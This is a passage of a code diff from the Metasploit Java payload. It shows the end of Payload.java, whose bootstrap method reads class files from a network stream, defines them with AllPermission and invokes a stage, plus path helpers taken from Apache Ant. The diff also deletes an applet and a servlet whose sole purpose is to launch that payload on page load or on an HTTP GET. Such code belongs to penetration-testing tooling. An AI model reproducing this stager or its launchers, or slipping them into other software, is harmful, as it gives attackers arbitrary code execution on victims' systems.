String[] stageParams = new String[stageParamTokenizer.countTokens()];
for (int i = 0; i < stageParams.length; i++) {
stageParams[i] = stageParamTokenizer.nextToken();
}
new Payload().bootstrap(in, out, props.getProperty("EmbeddedStage", null), stageParams);
}
}
private static void writeEmbeddedFile(Class clazz, String resourceName, File targetFile) throws FileNotFoundException, IOException {
InputStream in = clazz.getResourceAsStream("/"+resourceName);
FileOutputStream fos = new FileOutputStream(targetFile);
byte[] buf = new byte[4096];
int len;
while ((len = in.read(buf)) != -1) {
fos.write(buf,0,len);
}
fos.close();
}
private final void bootstrap(InputStream rawIn, OutputStream out, String embeddedStageName, String[] stageParameters) throws Exception {
try {
final DataInputStream in = new DataInputStream(rawIn);
Class clazz;
final Permissions permissions = new Permissions();
permissions.add(new AllPermission());
final ProtectionDomain pd = new ProtectionDomain(new CodeSource(new URL("file:///"), new Certificate[0]), permissions);
if (embeddedStageName == null) {
int length = in.readInt();
do {
final byte[] classfile = new byte[length];
in.readFully(classfile);
resolveClass(clazz = defineClass(null, classfile, 0, length, pd));
length = in.readInt();
} while (length > 0);
} else {
clazz = Class.forName("javapayload.stage."+embeddedStageName);
}
final Object stage = clazz.newInstance();
clazz.getMethod("start", new Class[] { DataInputStream.class, OutputStream.class, String[].class }).invoke(stage, new Object[] { in, out, stageParameters });
} catch (final Throwable t) {
t.printStackTrace(new PrintStream(out));
}
}
///
/// The rest of the file is based on code from Apache Ant 1.8.1
///
private static final String OS_NAME = System.getProperty("os.name").toLowerCase(Locale.ENGLISH);
private static final String PATH_SEP = System.getProperty("path.separator");
private static final boolean IS_AIX = "aix".equals(OS_NAME);
private static final boolean IS_DOS = PATH_SEP.equals(";");
private static final String JAVA_HOME = System.getProperty("java.home");
private static String getJreExecutable(String command) {
File jExecutable = null;
if (IS_AIX) {
// On IBM's JDK 1.2 the directory layout is different, 1.3 follows
// Sun's layout.
jExecutable = findInDir(JAVA_HOME + "/sh", command);
}
if (jExecutable == null) {
jExecutable = findInDir(JAVA_HOME + "/bin", command);
}
if (jExecutable != null) {
return jExecutable.getAbsolutePath();
} else {
// Unfortunately on Windows java.home doesn't always refer
// to the correct location, so we need to fall back to
// assuming java is somewhere on the PATH.
return addExtension(command);
}
}
private static String addExtension(String command) {
// This is the most common extension case - exe for windows and OS/2,
// nothing for *nix.
return command + (IS_DOS ? ".exe" : "");
}
private static File findInDir(String dirName, String commandName) {
File dir = normalize(dirName);
File executable = null;
if (dir.exists()) {
executable = new File(dir, addExtension(commandName));
if (!executable.exists()) {
executable = null;
}
}
return executable;
}
private static File normalize(final String path) {
Stack s = new Stack();
String[] dissect = dissect(path);
s.push(dissect[0]);
StringTokenizer tok = new StringTokenizer(dissect[1], File.separator);
while (tok.hasMoreTokens()) {
String thisToken = tok.nextToken();
if (".".equals(thisToken)) {
continue;
}
if ("..".equals(thisToken)) {
if (s.size() < 2) {
// Cannot resolve it, so skip it.
return new File(path);
}
s.pop();
} else { // plain component
s.push(thisToken);
}
}
StringBuffer sb = new StringBuffer();
for (int i = 0; i < s.size(); i++) {
if (i > 1) {
// not before the filesystem root and not after it, since root
// already contains one
sb.append(File.separatorChar);
}
sb.append(s.elementAt(i));
}
return new File(sb.toString());
}
private static String[] dissect(String path) {
char sep = File.separatorChar;
path = path.replace('/', sep).replace('\\', sep);
// make sure we are dealing with an absolute path
String root = null;
int colon = path.indexOf(':');
if (colon > 0 && IS_DOS) {
int next = colon + 1;
root = path.substring(0, next);
char[] ca = path.toCharArray();
root += sep;
//remove the initial separator; the root has it.
next = (ca[next] == sep) ? next + 1 : next;
StringBuffer sbPath = new StringBuffer();
// Eliminate consecutive slashes after the drive spec:
for (int i = next; i < ca.length; i++) {
if (ca[i] != sep || ca[i - 1] != sep) {
sbPath.append(ca[i]);
}
}
path = sbPath.toString();
} else if (path.length() > 1 && path.charAt(1) == sep) {
// UNC drive
int nextsep = path.indexOf(sep, 2);
nextsep = path.indexOf(sep, nextsep + 1);
root = (nextsep > 2) ? path.substring(0, nextsep + 1) : path;
path = path.substring(root.length());
} else {
root = File.separator;
path = path.substring(1);
}
return new String[] {root, path};
}
}
@@ -1,14 +0,0 @@
package metasploit;
import java.applet.*;
public class PayloadApplet extends Applet {
public void init() {
try {
Payload.main(null);
} catch (Exception ex) {
ex.printStackTrace();
}
}
}
@@ -1,30 +0,0 @@
package metasploit;
import java.io.*;
import javax.servlet.*;
import javax.servlet.http.*;
import java.lang.Thread;
public class PayloadServlet extends HttpServlet implements Runnable {
public void run() {
try {
metasploit.Payload.main(new String[] {""});
} catch (Exception e) {}
}
protected void doGet(HttpServletRequest req, HttpServletResponse res)
throws ServletException, java.io.IOException
{
PrintWriter out = res.getWriter();
try {
Thread t = new Thread(this);
t.start();
} catch(Exception e) { };
out.close();
}
}

Some files were not shown because too many files have changed in this diff Show More